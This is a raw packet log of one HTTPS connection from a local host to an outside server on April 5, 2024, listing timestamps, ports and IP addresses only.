Apr 5, 2024 20:10:29.212819099 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.212825060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212861061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212862968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.212899923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.212903976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.212950945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.257817984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.257833958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.257869959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.257883072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.257910967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.257932901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.259495974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.259511948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.259561062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.259567022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.259613037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.259613037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.304523945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.304541111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.304600954 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.304635048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.304698944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.321074963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.321091890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.321192026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.321229935 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.321255922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.321299076 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.321368933 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.322055101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.322072029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.322237015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.322246075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.322314024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.323108912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.323126078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.323208094 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.323218107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.323925972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.323946953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.324026108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.324026108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.324039936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.324980974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.324995041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.325011015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.325021029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.325043917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.325079918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.325133085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.325336933 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.326459885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.326478004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.326658964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.326667070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.327452898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.327472925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.327557087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.327557087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.327565908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.328433990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.328448057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.328546047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.328546047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.328581095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.329240084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.329260111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.329345942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.329345942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.329358101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.329468012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.329617977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.329626083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.329880953 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.330343008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.330359936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.330456018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.330461979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.330595970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.331321955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.331341028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.331461906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.331469059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.331568956 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.332211971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.332232952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.332499027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.332506895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.332647085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.333225965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.333244085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.333343983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.333352089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.333410978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.333421946 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.333430052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.333451986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.336328030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.336349010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.336458921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.336458921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.336471081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.337224960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.337239981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.337342024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.337351084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338013887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338035107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338116884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.338116884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.338124037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338766098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338782072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338901997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.338907957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.338988066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.339128971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.339138031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.339390039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.339696884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.339713097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.339770079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.339775085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.339802980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.339826107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.340456009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.340492010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.340586901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.340586901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.340606928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.340699911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.341306925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.341321945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.341468096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.341474056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.341759920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.342509031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.342525005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.342602968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.342612028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.342667103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.342691898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.342699051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.342730999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.343424082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.343442917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.343518019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.343518019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.343525887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.344167948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.344182014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.344269037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.344269037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.344279051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.344960928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.344979048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.345058918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.345058918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.345067978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.345748901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.345762968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.345848083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.345848083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.345855951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.345885038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.346013069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.346019030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.346286058 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.346663952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.346679926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.346704006 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.346779108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.346779108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.346785069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.347975016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.347994089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.348078966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.348078966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.348087072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.348211050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.348922014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.348937988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.349026918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.349034071 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.349175930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.349684000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.349699974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.349817038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.349842072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.349857092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.349875927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.350120068 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.350770950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.350788116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.350867987 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.350867987 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.350876093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.351193905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.351701021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.351717949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.351799011 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.351807117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.351911068 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.352468014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.352488995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.352556944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.352556944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.352565050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.352596998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.353424072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.353441954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.353523016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.353550911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.353557110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.353574991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.353816032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.354264021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.354283094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.354355097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.354355097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.354362011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.354430914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.355180025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.355200052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.355271101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.355271101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.355297089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.355753899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.356143951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.356158972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.356297016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.356307030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.356362104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.357033014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.357053041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.357089043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.357114077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.357114077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.357125998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.357148886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.357553959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.358064890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.358084917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.358172894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.358186007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.358439922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.358822107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.358836889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.358910084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.358910084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.358923912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.359533072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.359550953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.359627008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.359627008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.359633923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.359740019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.360515118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.360531092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.360601902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.360620975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.360620975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.360635042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.360662937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.362823009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.363646030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.363661051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.363744020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.363744020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.363765001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.363852978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.364665985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.364685059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.365362883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.365381956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.365502119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.365520000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.365530968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.365536928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.365566015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.365686893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.366182089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.366197109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.366307020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.366313934 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.366374016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.366400957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.366406918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.366430044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.371999025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.405335903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.405356884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.406122923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.406147003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.410478115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.410495043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.410660982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.410685062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.411279917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.411293030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.411456108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.411477089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.412306070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.412327051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.412415028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.412415028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.412441015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.412467003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.412600994 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.412607908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.412930012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.413400888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.413417101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.413675070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.413685083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.413747072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.414294958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.414315939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.414448977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.414469004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.414516926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.491800070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.491816998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.491904974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.491942883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.492119074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.492897034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.492938995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.493033886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.493033886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.493047953 CEST	443	49727	140.82.114.10	192.168.2.6
